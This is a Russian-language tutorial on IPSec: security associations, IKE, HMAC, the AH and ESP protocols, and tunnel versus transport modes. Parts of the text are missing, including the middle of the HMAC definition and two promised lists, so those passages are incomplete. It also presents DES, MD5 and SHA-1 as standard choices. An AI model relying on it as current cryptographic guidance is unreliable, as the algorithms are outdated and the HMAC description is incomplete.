Ассоциация защиты (Security Association - SA) представляет собой согласованную политику или способ обработки данных, обмен которыми предполагается между двумя устройствами сообщающихся сторон. Одной из составляющих такой политики может быть алгоритм, используемый для шифрования данных. Обе стороны могут ис¬пользовать один и тот же алгоритм как для шифрования, так и для дешифрования. Действующие параметры SA сохраняются в базе данных ассоциаций защиты (Security Association Database - SAD) обеих сторон.
Два компьютера на каждой стороне SA хранят режим, протокол, алгоритмы и ключи, используемые в SA. Каждый SA используется только в одном направлении. Для двунаправленной связи требуется два SA. Каждый SA реализует один режим и протокол; таким образом, если для одного пакета необходимо использовать два протокола (как например AH и ESP), то требуется два SA.
Протокол IKE (Internet Key Exchange - обмен Internet-ключами) является гибридным протоколом, обеспечивающим специальный сервис для IPSec, а именно аутентификацию сторон IPSec, согласование параметров ассоциаций защиты IKE и IPSec, а также выбор ключей для алгоритмов шифрования, используемых в рамках IPSec. Протокол IKE опира¬ется на протоколы ISAKMP (Internet Security Association and Key Management Protocol - протокол управления ассоциациями и ключами защиты в сети Internet) и Oakley, которые применяются для управления процессом создания и обработки ключей шифрования, используемых в преобразованиях IPSec. Протокол IKE применяется также для формирования ассоциаций защиты между потенциальными сторонами IPSec.
Как IKE, так и IPSec используют ассоциации зашиты, чтобы указать параметры связи.
IKE поддерживает набор различных примитивных функций для использования в протоколах. Среди них можно выделить хэш-функцию и псевдослучайную функцию (PRF).
Хэш-функция – это функция, устойчивая к коллизиям. Под устойчивостью к коллизиям понимается тот факт, что невозможно найти два разных сообщения m1 и m2, таких, что
H(m1)=H(m2), где H – хэш функция.
Что касается псеводслучайных функций, то в настоящее время вместо специальных PRF используется хэш функция в конструкции HMAC (HMAC - механизм аутентификации сообщений с использованием хэш функций). Для определения HMAC нам понадобится криптографическая хэш функция (обозначим её как H) и секретный ключ K. Мы предполагаем, что H является хэш функцией, где данные хэшируются с помощью процедуры сжатия, последовательно применяемой к последовательности блоков данных. Мы обозначим за B длину таких блоков в байтах, а длину блоков, полученных в результате хэширования - как L (L
ipad = байт 0x36, повторённый B раз;
opad = байт 0x5C, повторённый B раз.
Для вычисления HMAC от данных "text" необходимо выполнить следующую операцию:
H(K XOR opad, H(K XOR ipad, text))
Из описания следует, что IKE использует для аутентификации сторон HASH величины. Отметим, что под HASH в данном случае подразумевается исключительно название Payload в ISAKMP, и это название не имеет ничего общего со своим содержимым
Internet Protocol Security (IPSec) называют в стандартах Internet системой. Действительно, IPSec - это согласованный набор открытых стандартов, имеющий сегодня вполне очерченное ядро, и в то же время он может быть достаточно просто дополнен новыми протоколами, алгоритмами и функциями.
Основное назначение протоколов IPSec - обеспечение безопасной передачи данных по сетям IP. Применение IPSec гарантирует:
(Заметим, что в соответствии с классическим определением понятие безопасности данных включает еще одно требование - доступность данных, что в рассмотренном контексте может быть интерпретировано как гарантия их доставки. Протоколы IPSec не решают данную задачу, оставляя ее протоколу транспортного уровня TCP.)
IPSec - это только одна из многих, хотя и самая популярная на сегодня, технология безопасной передачи данных по общедоступной (незащищенной) сети. Для технологий такого назначения используется обобщенное название - защищенный канал (secure channel). Термин «канал» подчеркивает тот факт, что защита данных обеспечивается между двумя узлами сети (хостами или шлюзами) вдоль некоторого виртуального пути, проложенного в сети с коммутацией пакетов.
Защищенный канал можно построить с помощью системных средств, реализованных на разных уровнях модели OSI (см. Рисунок 1). Если для защиты данных используется протокол одного из верхних уровней (прикладного, презентационного или сеансового), то такой способ защиты не зависит от того, какие сети (IP или IPX, Ethernet или ATM) применяются для транспортировки данных, что можно считать несомненным достоинством. С другой стороны, приложение при этом становится зависимым от конкретного протокола защиты, т. е. для приложений такой протокол не является прозрачным.
Защищенному каналу на самом высоком, прикладном уровне свойственен еще один недостаток - ограниченная область действия. Протокол защищает только вполне определенную сетевую службу - файловую, гипертекстовую или почтовую. Например, протокол S/MIME защищает исключительно сообщения электронной почты. Поэтому для каждой службы необходимо разрабатывать соответствующую защищенную версию протокола.
Наиболее известным протоколом защищенного канала, работающим на следующем, презентационном уровне, стал протокол Secure Socket Layer (SSL) и его новая открытая реализация Transport Layer Security (TLS). Снижение уровня протокола превращает его в гораздо более универсальное средство защиты. Теперь единым протоколом защиты могут воспользоваться любые приложения и любые протоколы прикладного уровня. Однако приложения необходимо переписывать по-прежнему - в них должны быть встроены явные вызовы функций протокола защищенного канала.
Чем ниже в стеке реализованы средства защищенного канала, тем проще их сделать прозрачными для приложений и прикладных протоколов. На сетевом и канальном уровнях зависимость приложений от протоколов защиты исчезает совсем. Однако здесь мы сталкиваемся с другой проблемой - зависимостью протокола защиты от конкретной сетевой технологии. Действительно, в разных частях крупной составной сети, вообще говоря, используются разные канальные протоколы, поэтому проложить защищенный канал через эту гетерогенную среду с помощью единого протокола канального уровня невозможно.
Рассмотрим, например, протокол защищенного канала Point-to-Point Tunneling Protocol (PPTP), работающий на канальном уровне. Он основан на протоколе PPP, который широко используется в соединениях «точка-точка», например при работе по выделенным линиям. Протокол PPTP не только обеспечивает прозрачность средств защиты для приложений и служб прикладного уровня, но и не зависит от применяемого протокола сетевого уровня: в частности, протокол PPTP может переносить пакеты как в сетях IP, так и в сетях, работающих на основе протоколов IPX, DECnet или NetBEUI. Однако, поскольку протокол PPP используется далеко не во всех сетях (в большинстве локальных сетей на канальном уровне работает протокол Ethernet, а в глобальных - протоколы ATM, frame relay), то PPTP нельзя считать универсальным средством.
Работающий на сетевом уровне протокол IPSec является компромиссным вариантом. С одной стороны, он прозрачен для приложений, а с другой - он может работать практически во всех сетях, так как основан на широко распространенном протоколе IP: в настоящее время в мире только 1% компьютеров не поддерживает IP вообще, остальные 99% используют его либо как единственный протокол, либо в качестве одного из нескольких протоколов.
Ядро IPSec составляют три протокола: протокол аутентификации (Authenti-cation Header, AH), протокол шифрования (Encapsulation Security Payload, ESP) и протокол обмена ключами (Internet Key Exchange, IKE). Функции по поддержанию защищенного канала распределяются между этими протоколами следующим образом:
Как видно из краткого описания функций, возможности протоколов AH и ESP частично перекрываются. Протокол AH отвечает только за обеспечение целостности и аутентификации данных, в то время как протокол ESP более мощный, так как может шифровать данные, а кроме того, выполнять функции протокола AH (хотя, как увидим позднее, аутентификация и целостность обеспечиваются им в несколько урезанном виде). Протокол ESP может поддерживать функции шифрования и аутентификации/целостности в любых комбинациях, т. е. либо и ту и другую группу функций, либо только аутентификацию/целостность, либо только шифрование.
Для шифрования данных в IPSec может быть применен любой симметричный алгоритм шифрования, использующий секретные ключи. В основе обеспечения целостности и аутентификации данных также лежит один из приемов шифрования - шифрование с помощью односторонней функции (one-way function), называемой также хэш-функцией (hash function) или дайджест-функцией (digest function).
Эта функция, примененная к шифруемым данным, дает в результате значение-дайджест, состоящее из фиксированного небольшого числа байт. Дайджест передается в IP-пакете вместе с исходным сообщением. Получатель, зная, какая односторонняя функция шифрования была применена для составления дайджеста, заново вычисляет его, используя исходное сообщение. Если значения полученного и вычисленного дайджестов совпадают, это значит, что содержимое пакета во время передачи не было подвергнуто никаким изменениям. Знание дайджеста не дает возможности восстановить исходное сообщение и поэтому не может быть использовано для защиты, но зато оно позволяет проверить целостность данных.
Дайджест является своего рода контрольной суммой для исходного сообщения. Однако имеется и существенное отличие. Использование контрольной суммы - это средство проверки целостности передаваемых сообщений по ненадежным линиям связи, и оно не направлено на борьбу со злонамеренными действиями. В самом деле, наличие контрольной суммы в передаваемом пакете не помешает злоумышленнику подменить исходное сообщение, добавив к нему новое значение контрольной суммы. В отличие от контрольной суммы при вычислении дайджеста используется секретный ключ. Если для получения дайджеста применялась односторонняя функция с параметром (в качестве которого выступает секретный ключ), известным только отправителю и получателю, любая модификация исходного сообщения будет немедленно обнаружена.
Разделение функций защиты между двумя протоколами AH и ESP вызвано применяемой во многих странах практикой на ограничение экспорта и/или импорта средств, обеспечивающих конфиденциальность данных путем шифрования. Каждый из этих двух протоколов может использоваться как самостоятельно, так и одновременно с другим, так что в тех случаях, когда шифрование из-за действующих ограничений применять нельзя, систему можно поставлять только с протоколом AH. Естественно, защита данных только с помощью протокола AH во многих случаях будет недостаточной, так как принимающая сторона в этом случае будет уверена только в том, что данные были отправлены именно тем узлом, от которого они ожидаются, и дошли в том виде, в котором были отправлены. От несанкционированного просмотра по пути следования данных протокол AH защитить не может, так как не шифрует их. Для шифрования данных необходимо применять протокол ESP, который может также проверить их целостность и аутентичность.
Для того чтобы протоколы AH и ESP могли выполнять свою работу по защите передаваемых данных, протокол IKE устанавливает между двумя конечными точками логическое соединение, которое в стандартах IPSec носит название «безопасная ассоциация» (Security Association, SA). Установление SA начинается со взаимной аутентификации сторон, потому что все меры безопасности теряют смысл, если данные передаются или принимаются не тем или не от того лица. Выбираемые далее параметры SA определяют, какой из двух протоколов, AH или ESP, применяется для защиты данных, какие функции выполняет протокол защиты: например, только аутентификацию и проверку целостности или, кроме того, еще и защиту от ложного воспроизведения. Очень важным параметром безопасной ассоциации является так называемый криптографический материал, т. е. секретные ключи, используемые в работе протоколов AH и ESP.
Система IPSec разрешает применять и ручной способ установления безопасной ассоциации, при котором администратор конфигурирует каждый конечный узел таким образом, чтобы они поддерживали согласованные параметры ассоциации, включая и секретные ключи.
Протокол AH или ESP функционирует уже в рамках установленного логического соединения SA, с его помощью и осуществляется требуемая защита передаваемых данных с использованием выбранных параметров.
Параметры безопасной ассоциации должны устраивать обе конечные точки защищенного канала. Поэтому при использовании автоматической процедуры установления SA протоколы IKE, работающие по разные стороны канала, выбирают параметры в ходе переговорного процесса, подобно тому, как два модема определяют максимально приемлемую для обеих сторон скорость обмена. Для каждой задачи, решаемой протоколами AH и ESP, предлагается несколько схем аутентификации и шифрования - это делает IPSec очень гибким средством. (Заметим, что выбор функции получения дайджеста для решения задачи аутентификации никак не влияет на выбор алгоритма для шифрования данных.)
Для обеспечения совместимости в стандартной версии IPsec определен некоторый обязательный «инструментальный» набор: в частности, для аутентификации данных всегда может быть использована одна из функций односторонней шифрации MD5 либо SHA-1, а в число алгоритмов шифрования непременно входит DES. При этом производители продуктов, включающих IPSec, вольны расширять протокол за счет других алгоритмов аутентификации и шифрования, что они с успехом и делают. Например, многие реализации IPSec поддерживают популярный алгоритм шифрования Triple DES, а также сравнительно новые алгоритмы - Blowfish, Cast, CDMF, Idea, RC5.
Стандарты IPSec позволяют шлюзам использовать как одну ассоциацию SA для передачи трафика всех взаимодействующих через Internet хостов, так и создавать для этой цели произвольное число ассоциаций SA, например по одной на каждое соединение TCP. Безопасная ассоциация SA представляет собой в IPSec однонаправленное (симплексное) логическое соединение, поэтому при двустороннем обмене данными необходимо установить две ассоциации SA.
Протоколы AH и ESP могут защищать данные в двух режимах: транспортном и туннельном. В транспортном режиме передача IP-пакета через сеть выполняется с помощью оригинального заголовка этого пакета, а в туннельном режиме исходный пакет помещается в новый IP-пакет и передача данных по сети выполняется на основании заголовка нового IP-пакета. Применение того или иного режима зависит от требований, предъявляемых к защите данных, а также от роли, которую играет в сети узел, завершающий защищенный канал. Так, узел может быть хостом (конечным узлом) или шлюзом (промежуточным узлом). Соответственно, имеются три схемы применения IPSec: «хост-хост», «шлюз-шлюз» и «хост-шлюз».
В первой схеме защищенный канал, или, что в данном контексте одно и то же, безопасная ассоциация, устанавливается между двумя конечными узлами сети (см. Рисунок 2). Протокол IPSec в этом случае работает на конечном узле и защищает данные, поступающие на него. Для схемы «хост-хост» чаще всего используется транспортный режим защиты, хотя разрешается и туннельный.
В соответствии со второй схемой, защищенный канал устанавливается между двумя промежуточными узлами, так называемыми шлюзами безопасности (Security Gateway, SG), на каждом из которых работает протокол IPSec (см. Рисунок 3). Защищенный обмен данными может происходить между любыми двумя конечными узлами, подключенными к сетям, которые расположены позади шлюзов безопасности. От конечных узлов поддержка протокола IPSec не требуется, они передают свой трафик в незащищенном виде через заслуживающих доверие сети Intranet предприятий. Трафик, направляемый в общедоступную сеть, проходит через шлюз безопасности, который и обеспечивает его защиту с помощью IPSec, действуя от своего имени. Шлюзы могут использовать только туннельный режим работы.